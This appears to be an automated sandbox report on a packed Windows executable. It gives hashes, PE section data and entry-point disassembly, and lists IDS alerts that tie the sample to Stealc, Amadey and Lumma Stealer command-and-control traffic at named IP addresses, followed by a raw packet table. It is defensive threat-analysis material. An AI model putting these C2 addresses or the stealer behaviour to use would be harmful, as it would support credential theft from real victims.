URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 543

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Chrome Cache Entry: 544

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	19
Entropy (8bit):	3.6818808028034042
Encrypted:	false
SSDEEP:	3:VQRWN:VQRWN
MD5:	9FAE2B6737B98261777262B14B586F28
SHA1:	79C894898B2CED39335EB0003C18B27AA8C6DDCD
SHA-256:	F55F6B26E77DF6647E544AE5B45892DCEA380B7A6D2BFAA1E023EA112CE81E73
SHA-512:	29CB8E5462B15488B0C6D5FC1673E273FB47841E9C76A4AA5415CA93CEA31B87052BBA511680F2BC9E6543A29F1BBFBA9D06FCC08F5C65BEB115EE7A9E5EFF36
Malicious:	false
URL:	https://www.google.com/async/ddljson?async=ntp:2
Preview:	)]}'.{"ddljson":{}}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9447094148105
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'783'808 bytes
MD5:	a2331295021ce610c36d581f0d9a13d7
SHA1:	035ab214b34013fbd5291ff7a53001b789762a4b
SHA256:	30e787217c3b90edbcefb62130e1aed8630c54758eccd691e585f9cfe525a7d6
SHA512:	22aa46e1a00381dc344309a597ba5587b57f16e67f52dcbd92757899a6f197244e7b18f00b09a7485c58f0283368b66b5a676bde90ca66a8a40f9ae63613d101
SSDEEP:	49152:mMOdr/zj4S/XtSDAfPkHYuCXdrST7iEjNG:mMO93gAfSNkEi
TLSH:	3D8533897AB8A2F1E4621A7390BD6E3877316C297BEE9CF42B0C532D54C3CD7355801A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa89000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F4A7CB408CAh
movhps xmm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop ds
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	3d11a6d440d3895a1603758fe422860e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	6a4236b19aff0c6779e0100af0a34fc0	False	0.5859375	data	4.577640689632693	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a2000	0x200	7949bdc2ae559ba92b4383323c8c1549	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
owrujbfc	0x4ee000	0x19a000	0x199a00	fad4020b73de2a0c653cef6d840f41ec	False	0.9949547747558742	data	7.953739338353992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
llupfgfi	0x688000	0x1000	0x400	2a76369a15ec274c0af7eee3f8b0ad19	False	0.7197265625	data	5.763786692461739	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x689000	0x3000	0x2200	f55e1eff8f503a0a898100f6deb92cef	False	0.05859375	DOS executable (COM)	0.796838765523192	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x68783c	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T13:29:01.348034+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-11-18T13:29:01.636575+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-11-18T13:29:01.643345+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.8	49706	TCP
2024-11-18T13:29:01.938793+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-11-18T13:29:01.945793+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.8	49706	TCP
2024-11-18T13:29:03.045011+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.8	49706	185.215.113.206	80	TCP
2024-11-18T13:29:04.018558+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49706	185.215.113.206	80	TCP
2024-11-18T13:29:27.512852+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:30.881535+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:32.827494+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:33.986253+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:36.200581+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:36.777979+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49746	185.215.113.206	80	TCP
2024-11-18T13:29:40.951924+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.8	49829	185.215.113.16	80	TCP
2024-11-18T13:30:05.606203+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.8	49837	185.215.113.43	80	TCP
2024-11-18T13:30:08.968336+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49839	31.41.244.11	80	TCP
2024-11-18T13:30:18.145547+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.8	49838	TCP
2024-11-18T13:30:19.060429+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49840	185.215.113.43	80	TCP
2024-11-18T13:30:19.990589+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49841	185.215.113.16	80	TCP
2024-11-18T13:30:27.458580+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49847	188.114.96.3	443	TCP
2024-11-18T13:30:28.213931+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49847	188.114.96.3	443	TCP
2024-11-18T13:30:28.213931+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49847	188.114.96.3	443	TCP
2024-11-18T13:30:28.514243+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49848	185.215.113.43	80	TCP
2024-11-18T13:30:28.880527+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-18T13:30:29.386359+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-18T13:30:29.386359+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49849	188.114.96.3	443	TCP
2024-11-18T13:30:29.456603+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49850	185.215.113.16	80	TCP
2024-11-18T13:30:30.393120+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-18T13:30:31.849578+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49851	188.114.96.3	443	TCP
2024-11-18T13:30:32.929182+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49854	188.114.96.3	443	TCP
2024-11-18T13:30:36.498245+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49855	188.114.96.3	443	TCP
2024-11-18T13:30:37.410539+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49856	185.215.113.43	80	TCP
2024-11-18T13:30:38.346007+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49860	185.215.113.16	80	TCP
2024-11-18T13:30:40.237607+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49864	185.215.113.206	80	TCP
2024-11-18T13:30:40.381517+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-18T13:30:40.718333+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49866	188.114.96.3	443	TCP
2024-11-18T13:30:42.497177+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-18T13:30:42.497177+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49865	188.114.96.3	443	TCP
2024-11-18T13:30:44.284544+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-18T13:30:45.036435+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49869	188.114.96.3	443	TCP
2024-11-18T13:30:45.040678+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.8	49869	188.114.96.3	443	TCP
2024-11-18T13:30:45.179115+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49868	185.215.113.43	80	TCP
2024-11-18T13:30:46.096775+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49870	185.215.113.16	80	TCP
2024-11-18T13:30:47.456623+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-18T13:30:47.456623+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49867	188.114.96.3	443	TCP
2024-11-18T13:30:49.923287+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49873	188.114.96.3	443	TCP
2024-11-18T13:30:52.102927+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49876	188.114.96.3	443	TCP
2024-11-18T13:30:54.093396+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49876	188.114.96.3	443	TCP
2024-11-18T13:30:55.086267+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.8	49878	185.215.113.16	80	TCP
2024-11-18T13:30:55.231250+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.8	49879	185.215.113.43	80	TCP
2024-11-18T13:30:55.601879+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49881	188.114.96.3	443	TCP
2024-11-18T13:30:57.369197+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49883	185.215.113.206	80	TCP
2024-11-18T13:30:59.415301+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49885	188.114.96.3	443	TCP
2024-11-18T13:31:04.857661+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-18T13:31:04.933409+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49889	188.114.96.3	443	TCP
2024-11-18T13:31:06.068806+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.8	49889	188.114.96.3	443	TCP
2024-11-18T13:31:06.068806+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49889	188.114.96.3	443	TCP
2024-11-18T13:31:06.205313+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.8	49888	188.114.96.3	443	TCP
2024-11-18T13:31:06.808160+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49891	188.114.96.3	443	TCP
2024-11-18T13:31:07.245731+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49892	188.114.96.3	443	TCP
2024-11-18T13:31:08.819497+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.8	49891	188.114.96.3	443	TCP
2024-11-18T13:31:08.819497+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.8	49891	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 13:28:49.725636005 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.725655079 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.725712061 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.725716114 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.726121902 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.726175070 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.728923082 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.728964090 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.729465008 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.733884096 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.754937887 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.754961014 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.754975080 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.755053997 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.757612944 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.757730961 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.762933016 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.856528044 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.856544971 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.856611967 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.856617928 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.856858969 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.856903076 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.859524965 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.859603882 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.860172987 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.864726067 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.885071993 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.885291100 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.885349035 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.887365103 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.887464046 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.892260075 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.986473083 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.987236023 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.987266064 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.987282991 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:49.987307072 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.987349033 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.989737034 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.989871025 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.990211964 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:49.994883060 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.015136003 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.015155077 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.015204906 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.017437935 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.020458937 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.022254944 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.027156115 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.117391109 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.117415905 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.117434025 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.117461920 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.117496967 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.117531061 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.120508909 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.120583057 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.121114016 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.125576973 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.144968987 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.147237062 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.149077892 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.149137020 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.151129007 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.156035900 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.248316050 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.248344898 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.248461008 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.248497009 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.248835087 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.248878956 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.253204107 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.253396988 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.254049063 CET	49705	443	192.168.2.8	13.107.246.60
Nov 18, 2024 13:28:50.258259058 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.274701118 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.274724007 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.274738073 CET	443	49705	13.107.246.60	192.168.2.8
Nov 18, 2024 13:28:50.274775982 CET	49705	443	192.168.2.8	13.107.246.60
